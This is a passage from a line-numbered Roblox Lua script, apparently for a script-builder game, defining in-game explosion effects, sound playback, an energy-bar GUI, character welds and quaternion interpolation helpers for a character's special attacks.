  1339. expart.BrickColor = bc("White")
  1340. expart.CFrame = par.CFrame
  1341. partMesh2.Scale = vt(rad,rad,rad)
  1342. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1343. expart2.Transparency = 0.5
  1344. expart2.Anchored = true
  1345. expart2.Material = "Neon"
  1346. expart2.BrickColor = bc("New Yeller")
  1347. expart2.CFrame = par.CFrame
  1348. local value = 1*rad/6.5
  1349. par:Destroy()
  1350. for i = 0, 100 do
  1351. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1352. expart.CFrame = expart.CFrame
  1353. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1354. expart2.CFrame = expart.CFrame
  1355. value = value - 0.035*rad/6.5
  1356. if value < 1 then
  1357. value = 0.25
  1358. expart.Transparency = expart.Transparency + 0.025
  1359. expart2.Transparency = expart2.Transparency + 0.025
  1360. end
  1361. wait()
  1362. end
  1363. plode.Parent = nil
  1364. expart.Parent = nil
  1365. expart2.Parent = nil
  1366. expld.Parent = nil
  1367. end
  1368.  
  1369. function ExplodeMass(rad,par)
  1370. local expart = Instance.new("Part",script.Parent)
  1371. local expart2 = Instance.new("Part",script.Parent)
  1372. local partMesh = Instance.new("SpecialMesh",expart)
  1373. partMesh.MeshType = "Sphere"
  1374. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1375. partMesh2.MeshType = "Sphere"
  1376. local expld = Instance.new("Explosion", script.Parent)
  1377. local plode = Instance.new("Sound",workspace)
  1378. plode.SoundId = "rbxassetid://579687077"
  1379. plode.Volume = 1
  1380. plode.Pitch = 0.85
  1381. plode.Looped = false
  1382. plode:Play()
  1383. local plodez = Instance.new("Sound",workspace)
  1384. plodez.SoundId = "rbxassetid://288641686"
  1385. plodez.Volume = 1
  1386. plodez.Pitch = 0.75
  1387. plodez.Looped = false
  1388. plodez:Play()
  1389. local plodeza = Instance.new("Sound",workspace)
  1390. plodeza.SoundId = "rbxassetid://197161452"
  1391. plodeza.Volume = 0.85
  1392. plodeza.Pitch = 0.65
  1393. plodeza.Looped = false
  1394. plodeza:Play()
  1395. local plodezar = Instance.new("Sound",workspace)
  1396. plodezar.SoundId = "rbxassetid://197161452"
  1397. plodezar.Volume = 0.85
  1398. plodezar.Pitch = 0.25
  1399. plodezar.Looped = false
  1400. plodezar:Play()
  1401. expld.BlastRadius = rad
  1402. expld.Position = par.Position
  1403. wait(0.5)
  1404. par:Destroy()
  1405. plode.Parent = nil
  1406. expart.Parent = nil
  1407. expart2.Parent = nil
  1408. expld.Parent = nil
  1409. end
  1410. function ExplodeMassen(rad,par)
  1411. local expart = Instance.new("Part",script.Parent)
  1412. local expart2 = Instance.new("Part",script.Parent)
  1413. local partMesh = Instance.new("SpecialMesh",expart)
  1414. partMesh.MeshType = "Sphere"
  1415. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1416. partMesh2.MeshType = "Sphere"
  1417. local expld = Instance.new("Explosion", script.Parent)
  1418. local plode = Instance.new("Sound",workspace)
  1419. plode.SoundId = "rbxassetid://579687077"
  1420. plode.Volume = 1
  1421. plode.Pitch = 0.85
  1422. plode.Looped = false
  1423. plode:Play()
  1424. local plodez = Instance.new("Sound",workspace)
  1425. plodez.SoundId = "rbxassetid://288641686"
  1426. plodez.Volume = 1
  1427. plodez.Pitch = 0.75
  1428. plodez.Looped = false
  1429. plodez:Play()
  1430. local plodeza = Instance.new("Sound",workspace)
  1431. plodeza.SoundId = "rbxassetid://197161452"
  1432. plodeza.Volume = 0.85
  1433. plodeza.Pitch = 0.65
  1434. plodeza.Looped = false
  1435. plodeza:Play()
  1436. local plodezar = Instance.new("Sound",workspace)
  1437. plodezar.SoundId = "rbxassetid://197161452"
  1438. plodezar.Volume = 0.85
  1439. plodezar.Pitch = 0.25
  1440. plodezar.Looped = false
  1441. plodezar:Play()
  1442. expld.BlastRadius = rad
  1443. expld.Position = par.Position
  1444. partMesh.Scale = vt(rad,rad,rad)
  1445. expart.Size = vt(1,1,1)*1.5
  1446. expart.Transparency = 0
  1447. expart.Anchored = true
  1448. expart.Material = "Neon"
  1449. expart.BrickColor = bc("White")
  1450. expart.CFrame = par.CFrame
  1451. partMesh2.Scale = vt(rad,rad,rad)
  1452. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1453. expart2.Transparency = 0.5
  1454. expart2.Anchored = true
  1455. expart2.Material = "Neon"
  1456. expart2.BrickColor = tors.BrickColor
  1457. expart2.CFrame = par.CFrame
  1458. local value = 1*rad/10
  1459. par:Destroy()
  1460. for i = 0, 300 do
  1461. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1462. expart.CFrame = expart.CFrame
  1463. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1464. expart2.CFrame = expart.CFrame
  1465. value = value - 0.0175*rad/10
  1466. if value <= 0 then
  1467. expart.Transparency = expart.Transparency + 0.0125
  1468. expart2.Transparency = expart2.Transparency + 0.0125
  1469. value = 0.25
  1470. end
  1471. wait()
  1472. end
  1473. plode.Parent = nil
  1474. expart.Parent = nil
  1475. expart2.Parent = nil
  1476. expld.Parent = nil
  1477. end
  1478. local Ultramode = false
  1479.  
  1480. function Transform()
  1481. if basiccooldown >= 5 then
  1482. hum.WalkSpeed = 0
  1483. local sparta = Instance.new("Part",workspace)
  1484. local msher = Instance.new("SpecialMesh",sparta)
  1485. msher.MeshType = "Sphere"
  1486. msher.Scale = vt(1,1,1)
  1487. wit = BrickColor.new("Really black").Color
  1488. local glowz = Instance.new("ParticleEmitter")
  1489. glowz.LightEmission = 1
  1490. glowz.Parent = sparta
  1491. glowz.Texture = "rbxassetid://284205403"
  1492. glowz.Color = ColorSequence.new(wit)
  1493. glowz.Size = NumberSequence.new(15)
  1494. glowz.Speed = NumberRange.new(100,250)
  1495. glowz.LockedToPart = false
  1496. glowz.Transparency = NumberSequence.new(0.75)
  1497. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1498. glowz.Lifetime = NumberRange.new(1)
  1499. glowz.Rate = 50000
  1500. glowz.VelocitySpread = 9001
  1501. local sa2 = Instance.new("Sound",sparta)
  1502. sa2.SoundId = "rbxassetid://93724183"
  1503. sa2.Pitch = 0.5
  1504. sa2.Volume = 5
  1505. sa2.Looped = false
  1506. sa2:Play()
  1507. local saz2 = Instance.new("Sound",sparta)
  1508. saz2.SoundId = "rbxassetid://199145659"
  1509. saz2.Pitch = 0.45
  1510. saz2.Volume = 5*2
  1511. saz2.Looped = false
  1512. local plode = Instance.new("Sound",sparta)
  1513. plode.SoundId = "rbxassetid://153274423"
  1514. plode.Volume = 5
  1515. plode.Pitch = 1
  1516. plode.Looped = false
  1517. local ploder = Instance.new("Sound",sparta)
  1518. ploder.SoundId = "rbxassetid://130972023"
  1519. ploder.Volume = 5
  1520. ploder.Pitch = 1
  1521. ploder.Looped = false
  1522. sparta.Size = vt(1,1,1)
  1523. sparta.BrickColor = BrickColor.new("Really black")
  1524. sparta.Material = "Neon"
  1525. sparta.Transparency = 0
  1526. sparta.Anchored = true
  1527. sparta.CanCollide = false
  1528. sparta.CFrame = tors.CFrame
  1529. sparta.Rotation = vt(0,0,0)
  1530. local value2 = 2
  1531. for i = 0, 24 do
  1532. value2 = value2 - 0.065
  1533. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1534. wait()
  1535. end
  1536. for i = 0, 10 do
  1537. value2 = value2 + 0.06575
  1538. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1539. wait()
  1540. end
  1541. for i = 0, 10 do
  1542. value2 = value2 - 0.2
  1543. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1544. wait()
  1545. end
  1546. for i = 0, 10 do
  1547. value2 = value2 + 0.275
  1548. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1549. wait()
  1550. end
  1551. for i = 0, 10 do
  1552. value2 = value2 - 0.4
  1553. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1554. wait()
  1555. end
  1556. for i = 0, 10 do
  1557. value2 = value2 + 0.475
  1558. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1559. wait()
  1560. end
  1561. for i = 0, 10 do
  1562. value2 = value2 - 0.6
  1563. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1564. wait()
  1565. end
  1566. for i = 0, 10 do
  1567. value2 = value2 + 0.675
  1568. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1569. wait()
  1570. end
  1571. for i = 0, 10 do
  1572. value2 = value2 - 0.7
  1573. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1574. wait()
  1575. end
  1576. for i = 0, 10 do
  1577. value2 = value2 + 0.775
  1578. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1579. wait()
  1580. end
  1581. saz2:Play()
  1582. wait(2.75)
  1583. plode:Play()
  1584. ploder:Play()
  1585. Ultramode = true
  1586. for i = 0, 75 do
  1587. value2 = value2 - 0.0575
  1588. glowz.Rate = 0
  1589. sparta.Transparency = sparta.Transparency + 0.025
  1590. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1591. wait()
  1592. end
  1593. hum.WalkSpeed = 16
  1594. sparta:Destroy()
  1595. end
  1596. end
  1597.  
  1598.  
  1599. function Blaze2()
  1600. if ultcooldown >= 30 then
  1601. local sloc = Instance.new("Part",workspace)
  1602. local msh = Instance.new("SpecialMesh",sloc)
  1603. msh.MeshType = "Sphere"
  1604. sloc.Size = vt(1,1,1)
  1605. sloc.Transparency = 1
  1606. sloc.BrickColor = tors.BrickColor
  1607. sloc.Position = hed.Position + vt(0,0.1,0)
  1608. sloc.CanCollide = false
  1609. sloc.Shape = "Ball"
  1610. sloc.Anchored = true
  1611. sloc.Material = "Neon"
  1612. local s = Instance.new("Sound",char)
  1613. s.SoundId = "rbxassetid://289315275"
  1614. s.Pitch = 1
  1615. s.Volume = 2.75
  1616. s.Looped = false
  1617. s:Play()
  1618. local s2 = Instance.new("Sound",char)
  1619. s2.SoundId = "rbxassetid://671759140"
  1620. s2.Pitch = 0.425
  1621. s2.Volume = 1
  1622. s2.Looped = false
  1623. s2:Play()
  1624. local val = 0.65*5
  1625. for i = 0 , 75 do
  1626. sloc.Transparency = sloc.Transparency - 0.035
  1627. msh.Scale = msh.Scale + vt(val,val,val)
  1628. val = val - 0.0075*5
  1629. wait()
  1630. end
  1631. wait(2)
  1632. local sen = Instance.new("Sound",char)
  1633. sen.SoundId = "rbxassetid://289315275"
  1634. sen.Pitch = 1
  1635. sen.Volume = 2.75
  1636. sen.Looped = false
  1637. sen:Play()
  1638. local tick = Instance.new("Sound",char)
  1639. tick.SoundId = "rbxassetid://446876721"
  1640. tick.Volume = 2.5
  1641. tick.Pitch = 0.5
  1642. tick:Play()
  1643. msh.Scale = msh.Scale - vt(1,1,1)
  1644. sloc.Transparency = sloc.Transparency + 0.015
  1645. local spart = Instance.new("Part",workspace)
  1646. local msh2 = Instance.new("SpecialMesh",spart)
  1647. msh2.MeshType = "Sphere"
  1648. spart.Size = vt(2,2,2)
  1649. spart.Shape = "Ball"
  1650. spart.BrickColor = tors.BrickColor
  1651. spart.Material = "Neon"
  1652. spart.Transparency = 0
  1653. spart.Anchored = false
  1654. msh2.Scale = msh.Scale/2
  1655. spart.Rotation = hed.Rotation
  1656. spart.CanCollide = false
  1657. spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0))
  1658. local bv = Instance.new("BodyVelocity")
  1659. bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
  1660. bv.velocity = mouse.Hit.lookVector * 125
  1661. bv.Parent = spart
  1662. sloc:Destroy()
  1663. wait(0.00001)
  1664. pewdiepie=spart.Touched:connect(function(hit)
  1665. ExplodeMassen(100,spart)
  1666. end)
  1667. wait(5)
  1668. sloc:Destroy()
  1669. tick:Destroy()
  1670. s:Destroy()
  1671. sen:Destroy()
  1672. s2:Destroy()
  1673. end
  1674. if ultcooldown < 1 then
  1675. for i = 0, 29 do
  1676. ultcooldown = ultcooldown + 1
  1677. wait(1)
  1678. end
  1679. end
  1680. end
  1681.  
  1682. function Blaze()
  1683. if ultcooldown >= 30 then
  1684. local ff = Instance.new("ForceField",char)
  1685. local s = Instance.new("Sound",char)
  1686. s.SoundId = "rbxassetid://289315275"
  1687. s.Pitch = 1
  1688. s.Volume = 2.75
  1689. s.Looped = false
  1690. s:Play()
  1691. local s2 = Instance.new("Sound",char)
  1692. s2.SoundId = "rbxassetid://671759140"
  1693. s2.Pitch = 0.425
  1694. s2.Volume = 1
  1695. s2.Looped = false
  1696. s2:Play()
  1697. local spart = boll:Clone()
  1698. local spart2 = shur:Clone()
  1699. local msh = Instance.new("SpecialMesh",spart)
  1700. msh.MeshType = "Sphere"
  1701. spart.Parent = workspace
  1702. spart.Transparency = 1
  1703. spart.Anchored = true
  1704. spart.Position = tors.Position + vt(0,1,0)
  1705. spart.Size = spart.Size + vt(1,1,1)
  1706. for i = 0, 10 do
  1707. spart.BrickColor = tors.BrickColor
  1708. spart.Transparency = spart.Transparency + -0.05
  1709. spart.Position = tors.Position + vt(0,1,0)
  1710. spart.Size = spart.Size + vt(3,3,3)
  1711. wait(0)
  1712. end
  1713. for i = 0, 5 do
  1714. spart.BrickColor = tors.BrickColor
  1715. spart.Transparency = spart.Transparency + -0.05
  1716. spart.Position = tors.Position + vt(0,1,0)
  1717. spart.Size = spart.Size + vt(2.5,2.5,2.5)
  1718. wait(0)
  1719. end
  1720. for i = 0, 5 do
  1721. spart.BrickColor = tors.BrickColor
  1722. spart.Transparency = spart.Transparency + -0.05
  1723. spart.Position = tors.Position + vt(0,1,0)
  1724. spart.Size = spart.Size + vt(1,1,1)
  1725. wait(0)
  1726. end
  1727. for i = 0, 10 do
  1728. spart.BrickColor = tors.BrickColor
  1729. wait(0.1)
  1730. end
  1731. for i = 0, 20 do
  1732. spart.BrickColor = tors.BrickColor
  1733. spart.Transparency = spart.Transparency + 0.05
  1734. spart.Position = tors.Position + vt(0,1,0)
  1735. spart.Size = spart.Size + vt(-5,-5,-5)
  1736. wait(0)
  1737. end
  1738. local sp = spart:Clone()
  1739. sp.Parent = workspace
  1740. sp.Position = spart.Position
  1741. local sp2 = sp:Clone()
  1742. sp2.Parent = workspace
  1743. sp2.Transparency = 0.5
  1744. local msh2 = sp2.Mesh
  1745. msh2.Scale = vt(1250,1250,1250)
  1746. wit = tors.BrickColor.Color
  1747. local glowz = Instance.new("ParticleEmitter")
  1748. glowz.LightEmission = 0.75
  1749. glowz.Parent = sp2
  1750. glowz.Texture = "rbxassetid://284205403"
  1751. glowz.Color = ColorSequence.new(wit)
  1752. glowz.Size = NumberSequence.new(50)
  1753. glowz.Speed = NumberRange.new(425,450)
  1754. glowz.LockedToPart = false
  1755. glowz.Transparency = NumberSequence.new(0.75)
  1756. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1757. glowz.Lifetime = NumberRange.new(1)
  1758. glowz.Rate = 50000
  1759. glowz.VelocitySpread = 9001
  1760. spart2.Parent = workspace
  1761. spart2.Mesh.Scale = vt(25, 90000, 25)
  1762. spart2.Position = tors.Position
  1763. local seen = Instance.new("Sound",char)
  1764. seen.SoundId = "rbxassetid://445796828"
  1765. seen.Pitch = 0.75
  1766. seen.Volume = 1.75
  1767. seen.Looped = true
  1768. seen:Play()
  1769. local sen = Instance.new("Sound",char)
  1770. sen.SoundId = "rbxassetid://289315275"
  1771. sen.Pitch = 0.98
  1772. sen.Volume = 2.65
  1773. sen.Looped = false
  1774. sen:Play()
  1775. local tick = Instance.new("Sound",char)
  1776. tick.SoundId = "rbxassetid://446876721"
  1777. tick.Volume = 5
  1778. tick.Pitch = 0.5
  1779. tick:Play()
  1780. local seena = Instance.new("Sound",char)
  1781. seena.SoundId = "rbxassetid://300916057"
  1782. seena.Pitch = 0.5
  1783. seena.Volume = 2.5
  1784. seena.Looped = false
  1785. seena:Play()
  1786. spart.Transparency = 0
  1787. ExplodeMass(1000,sp)
  1788. for i = 0, 450 do
  1789. spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1))
  1790. sp2.Position = spart.Position
  1791. spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035)
  1792. spart2.BrickColor = tors.BrickColor
  1793. msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5)
  1794. msh.Scale = msh.Scale + vt(50,50,50)
  1795. sp2.Transparency = sp2.Transparency + 0.0005
  1796. spart.Transparency = spart.Transparency + 0.0025
  1797. spart2.Transparency = spart2.Transparency + 0.0025
  1798. wait(0)
  1799. end
  1800. spart:Destroy()
  1801. seena:Destroy()
  1802. ff:Destroy()
  1803. seen:Destroy()
  1804. sen:Destroy()
  1805. tick:Destroy()
  1806. spart2:Destroy()
  1807. s:Destroy()
  1808. sp:Destroy()
  1809. sp2:Destroy()
  1810. s2:Destroy()
  1811. end
  1812. if ultcooldown < 1 then
  1813. for i = 0, 29 do
  1814. ultcooldown = ultcooldown + 1
  1815. wait(1)
  1816. end
  1817. end
  1818. end
  1819.  
  1820. -- sin
  1821. Player=owner
  1822. Character=Player.Character
  1823. PlayerGui=Player.PlayerGui
  1824. Backpack=Player.Backpack
  1825. Torso=Character.Torso
  1826. Head=Character.Head
  1827. Humanoid=Character.Humanoid
  1828. m=Instance.new('Model',Character)
  1829. LeftArm=Character["Left Arm"]
  1830. LeftLeg=Character["Left Leg"]
  1831. RightArm=Character["Right Arm"]
  1832. RightLeg=Character["Right Leg"]
  1833. LS=Torso["Left Shoulder"]
  1834. LH=Torso["Left Hip"]
  1835. RS=Torso["Right Shoulder"]
  1836. RH=Torso["Right Hip"]
  1837. Face = Head.face
  1838. Neck=Torso.Neck
  1839. it=Instance.new
  1840. attacktype=1
  1841. vt=Vector3.new
  1842. cf=CFrame.new
  1843. euler=CFrame.fromEulerAnglesXYZ
  1844. angles=CFrame.Angles
  1845. cloaked=false
  1846. necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1847. necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1848. LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
  1849. LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
  1850. RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
  1851. RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
  1852. RootPart=Character.HumanoidRootPart
  1853. RootJoint=RootPart.RootJoint
  1854. RootCF=euler(-1.57,0,3.14)
  1855. attack = false
  1856. attackdebounce = false
  1857. deb=false
  1858. equipped=true
  1859. hand=false
  1860. MMouse=nil
  1861. combo=0
  1862. mana=0
  1863. trispeed=1
  1864. pathtrans=.7
  1865. attackmode='none'
  1866. local idle=0
  1867. local Anim="Idle"
  1868. local Effects={}
  1869. local gun=false
  1870. local shoot=false
  1871. player=nil
  1872. cloak=false
  1873. lightcolor='Bright blue'
  1874.  
  1875. local Color1=BrickColor.new("Royal purple")
  1876.  
  1877. local fengui=it("GuiMain")
  1878. fengui.Parent=Player.PlayerGui
  1879. fengui.Name="WeaponGUI"
  1880. local fenframe=it("Frame")
  1881. fenframe.Parent=fengui
  1882. fenframe.BackgroundColor3=Color3.new(255,255,255)
  1883. fenframe.BackgroundTransparency=1
  1884. fenframe.BorderColor3=Color3.new(17,17,17)
  1885. fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0)
  1886. fenframe.Position=UDim2.new(0.4,0,0.1,0)
  1887. local fenbarmana1=it("TextLabel")
  1888. fenbarmana1.Parent=fenframe
  1889. fenbarmana1.Text=" "
  1890. fenbarmana1.BackgroundTransparency=0
  1891. fenbarmana1.BackgroundColor3=Color3.new(0,0,0)
  1892. fenbarmana1.SizeConstraint="RelativeXY"
  1893. fenbarmana1.TextXAlignment="Center"
  1894. fenbarmana1.TextYAlignment="Center"
  1895. fenbarmana1.Position=UDim2.new(0,0,0,0)
  1896. fenbarmana1.Size=UDim2.new(4,0,0.2,0)
  1897. local fenbarmana2=it("TextLabel")
  1898. fenbarmana2.Parent=fenframe
  1899. fenbarmana2.Text=" "
  1900. fenbarmana2.BackgroundTransparency=0
  1901. fenbarmana2.BackgroundColor3=Torso.Color
  1902. fenbarmana2.SizeConstraint="RelativeXY"
  1903. fenbarmana2.TextXAlignment="Center"
  1904. fenbarmana2.TextYAlignment="Center"
  1905. fenbarmana2.Position=UDim2.new(0,0,0,0)
  1906. fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0)
  1907. local fenbarmana3=it("TextLabel")
  1908. fenbarmana3.Parent=fenframe
  1909. fenbarmana3.Text=" "
  1910. fenbarmana3.BackgroundTransparency=0
  1911. fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3)
  1912. fenbarmana3.SizeConstraint="RelativeXY"
  1913. fenbarmana3.TextXAlignment="Center"
  1914. fenbarmana3.TextYAlignment="Center"
  1915. fenbarmana3.Position=UDim2.new(0,0,0,0)
  1916. fenbarmana3.Size=UDim2.new(0,0,0.2,0)
  1917. local fenbarmana4=it("TextLabel")
  1918. fenbarmana4.Parent=fenframe
  1919. fenbarmana4.Text="Energy("..mana..")"
  1920. fenbarmana4.BackgroundTransparency=1
  1921. fenbarmana4.BackgroundColor3=Color3.new(0,0,0)
  1922. fenbarmana4.SizeConstraint="RelativeXY"
  1923. fenbarmana4.TextXAlignment="Center"
  1924. fenbarmana4.TextYAlignment="Center"
  1925. fenbarmana4.Position=UDim2.new(0,0,-0.3,0)
  1926. fenbarmana4.Size=UDim2.new(4,0,0.2,0)
  1927. fenbarmana4.FontSize="Size9"
  1928. fenbarmana4.TextStrokeTransparency=0
  1929. fenbarmana4.TextColor=BrickColor.new("White")
  1930.  
  1931. --save shoulders
  1932. RSH, LSH=nil, nil
  1933. --welds
  1934. RW, LW=Instance.new("Weld"), Instance.new("Weld")
  1935. RW.Name="Right Shoulder" LW.Name="Left Shoulder"
  1936. LH=Torso["Left Hip"]
  1937. RH=Torso["Right Hip"]
  1938. TorsoColor=BrickColor.new("Royal purple")
  1939. function NoOutline(Part)
  1940. Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
  1941. end
  1942. player=Player
  1943. ch=Character
  1944. RSH=ch.Torso["Right Shoulder"]
  1945. LSH=ch.Torso["Left Shoulder"]
  1946. --
  1947. RSH.Parent=nil
  1948. LSH.Parent=nil
  1949. --
  1950. RW.Name="Right Shoulder"
  1951. RW.Part0=ch.Torso
  1952. RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)
  1953. RW.C1=cf(0, 0.5, 0)
  1954. RW.Part1=ch["Right Arm"]
  1955. RW.Parent=ch.Torso
  1956. --
  1957. LW.Name="Left Shoulder"
  1958. LW.Part0=ch.Torso
  1959. LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
  1960. LW.C1=cf(0, 0.5, 0)
  1961. LW.Part1=ch["Left Arm"]
  1962. LW.Parent=ch.Torso
  1963.  
  1964.  
  1965. function part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
  1966. local fp=it("Part")
  1967. fp.formFactor=formfactor
  1968. fp.Parent=parent
  1969. fp.Reflectance=reflectance
  1970. fp.Transparency=transparency
  1971. fp.CanCollide=false
  1972. fp.Locked=true
  1973. fp.BrickColor=brickcolor
  1974. fp.Name=name
  1975. fp.Size=size
  1976. fp.Position=Torso.Position
  1977. NoOutline(fp)
  1978. fp.Material="Neon"
  1979. fp:BreakJoints()
  1980. return fp
  1981. end
  1982.  
  1983. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  1984. local mesh=it(Mesh)
  1985. mesh.Parent=part
  1986. if Mesh=="SpecialMesh" then
  1987. mesh.MeshType=meshtype
  1988. if meshid~="nil" then
  1989. mesh.MeshId="http://www.roblox.com/asset/?id="..meshid
  1990. end
  1991. end
  1992. mesh.Offset=offset
  1993. mesh.Scale=scale
  1994. return mesh
  1995. end
  1996.  
  1997. function weld(parent,part0,part1,c0)
  1998. local weld=it("Weld")
  1999. weld.Parent=parent
  2000. weld.Part0=part0
  2001. weld.Part1=part1
  2002. weld.C0=c0
  2003. return weld
  2004. end
  2005.  
  2006. local Color1=BrickColor.new("Royal purple")
  2007.  
  2008. local bodvel=Instance.new("BodyVelocity")
  2009. local bg=Instance.new("BodyGyro")
  2010.  
  2011. function swait(num)
  2012. if num==0 or num==nil then
  2013. game:service'RunService'.Stepped:wait(0)
  2014. else
  2015. for i=0,num do
  2016. game:service'RunService'.Stepped:wait(0)
  2017. end
  2018. end
  2019. end
  2020.  
  2021.  
  2022. so = function(id,par,vol,pit)
  2023. coroutine.resume(coroutine.create(function()
  2024. local sou = Instance.new("Sound",par or workspace)
  2025. sou.Volume=vol
  2026. sou.Pitch=pit or 1
  2027. sou.SoundId=id
  2028. swait()
  2029. sou:play()
  2030. game:GetService("Debris"):AddItem(sou,6)
  2031. end))
  2032. end
  2033.  
  2034. function clerp(a,b,t)
  2035. local qa = {QuaternionFromCFrame(a)}
  2036. local qb = {QuaternionFromCFrame(b)}
  2037. local ax, ay, az = a.x, a.y, a.z
  2038. local bx, by, bz = b.x, b.y, b.z
  2039. local _t = 1-t
  2040. return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  2041. end
  2042.  
  2043. function QuaternionFromCFrame(cf)
  2044. local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  2045. local trace = m00 + m11 + m22
  2046. if trace > 0 then
  2047. local s = math.sqrt(1 + trace)
  2048. local recip = 0.5/s
  2049. return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  2050. else
  2051. local i = 0
  2052. if m11 > m00 then
  2053. i = 1
  2054. end
  2055. if m22 > (i == 0 and m00 or m11) then
  2056. i = 2
  2057. end
  2058. if i == 0 then
  2059. local s = math.sqrt(m00-m11-m22+1)
  2060. local recip = 0.5/s
  2061. return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  2062. elseif i == 1 then
  2063. local s = math.sqrt(m11-m22-m00+1)
  2064. local recip = 0.5/s
  2065. return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  2066. elseif i == 2 then
  2067. local s = math.sqrt(m22-m00-m11+1)
  2068. local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  2069. end
  2070. end
  2071. end
  2072.  
  2073. function QuaternionToCFrame(px, py, pz, x, y, z, w)
  2074. local xs, ys, zs = x + x, y + y, z + z
  2075. local wx, wy, wz = w*xs, w*ys, w*zs
  2076. local xx = x*xs
  2077. local xy = x*ys
  2078. local xz = x*zs
  2079. local yy = y*ys
  2080. local yz = y*zs
  2081. local zz = z*zs
  2082. return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  2083. end
  2084.  
  2085. function QuaternionSlerp(a, b, t)
  2086. local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  2087. local startInterp, finishInterp;
  2088. if cosTheta >= 0.0001 then
  2089. if (1 - cosTheta) > 0.0001 then
  2090. local theta = math.acos(cosTheta)
  2091. local invSinTheta = 1/math.sin(theta)
  2092. startInterp = math.sin((1-t)*theta)*invSinTheta
  2093. finishInterp = math.sin(t*theta)*invSinTheta
  2094. else
  2095. startInterp = 1-t
  2096. finishInterp = t
  2097. end
  2098. else
  2099. if (1+cosTheta) > 0.0001 then
  2100. local theta = math.acos(-cosTheta)
  2101. local invSinTheta = 1/math.sin(theta)
  2102. startInterp = math.sin((t-1)*theta)*invSinTheta
  2103. finishInterp = math.sin(t*theta)*invSinTheta
  2104. else
  2105. startInterp = t-1
  2106. finishInterp = t
  2107. end
  2108. end
  2109. return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  2110. end
  2111.  
  2112. function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants
  2113. return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore)
  2114. end
  2115.  
  2116. function SkullEffect(brickcolor,cframe,x1,y1,z1,delay)
  2117. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2118. prt.Anchored=true
  2119. prt.CFrame=cframe
  2120. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
  2121. --http://www.roblox.com/asset/?id=4770560
  2122. game:GetService("Debris"):AddItem(prt,2)
  2123. CF=prt.CFrame
  2124. coroutine.resume(coroutine.create(function(Part,Mesh,TehCF)
  2125. for i=0,1,0.2 do
  2126. wait()
  2127. Part.CFrame=CF*cf(0,0,-0.4)
  2128. end
  2129. for i=0,1,delay do
  2130. wait()
  2131. --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5)
  2132. Mesh.Scale=Mesh.Scale
  2133. end
  2134. for i=0,1,0.1 do
  2135. wait()
  2136. Part.Transparency=i
  2137. end
  2138. Part.Parent=nil
  2139. end),prt,msh,CF)
  2140. end
  2141.  
  2142. function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2143. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
